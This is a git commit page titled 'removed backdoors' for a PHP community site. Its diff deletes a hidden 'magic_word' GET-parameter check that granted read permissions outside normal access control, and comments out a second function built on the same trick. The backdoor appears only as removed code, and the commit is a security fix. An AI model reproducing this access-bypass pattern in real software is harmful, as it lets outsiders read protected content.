removed backdoors
authorniekt0 <niekt0@kyberia.cz>
Mon, 24 Jan 2011 13:21:59 +0000 (14:21 +0100)
committerniekt0 <niekt0@kyberia.cz>
Mon, 24 Jan 2011 13:21:59 +0000 (14:21 +0100)
wwwroot/inc/eventz/display.inc
wwwroot/inc/smarty/node_methodz/function.get_atom.php

index fe180e462212002b1048022efece71e3af56bfc0..76ad8bd12afaceb078de2786deed7b1dce790e4f 100644 (file)
@@ -59,29 +59,7 @@ if (isset($referer_id) && is_numeric($referer_id)) {
                $q="insert into neurons set synapse_creator='".$_SESSION['user_id']."',dst='".$node['node_id']."',src='$referer_id',synapse=1";
                $db->query($q);
                }
-}
-
-
-elseif (!$permissions['r'] && $_GET['magic_word']) {
-       $magic_word_big=$_GET['magic_word'];
-
-       if ( preg_match("/(\d+)-(.+)/",$_GET['magic_word'],$mu)) {
-               $magic_uid=$mu['1'];
-               $magic_word=addslashes($mu['2']);
-               // XXX WTF column magic_word does not exists
-               $q="select login from users where user_id='$magic_uid' and magic_word='$magic_word'";
-               $set=$db->query($q);
-               if ($set->getNumRows()) {
-                       $permissions['r']=true;
-               }
-       }
-}
-
-
-
-
-
-else {
+} else {
        logger::log('enter',$node['node_id'],'failed');
 }
 
index 102d3d52a4bf9f5d7a61939dfe5d13c330bcdb09..1d2eeee1ecc7566f3bb71e81caa8eafddc8e2df4 100644 (file)
@@ -1,8 +1,11 @@
 <?php
 
-       function smarty_function_get_atom($params,&$smarty) {
+function smarty_function_get_atom($params,&$smarty) {
+       // No more backdoors;)
+       return 23;
+       
 
-               global $db,$node;
+/*             global $db,$node;
                $node_id=$node['node_id'];
                if ( preg_match("/(\d+)-(.+)/",$_GET['magic_word'],$mu)) {
                          $magic_uid=$mu['1'];
@@ -20,5 +23,7 @@
                }
 
                $smarty->assign('get_atom',$get_atom);
-       }
+*/
+}
+
 ?>
This page took 0.221765 seconds and 4 git commands to generate.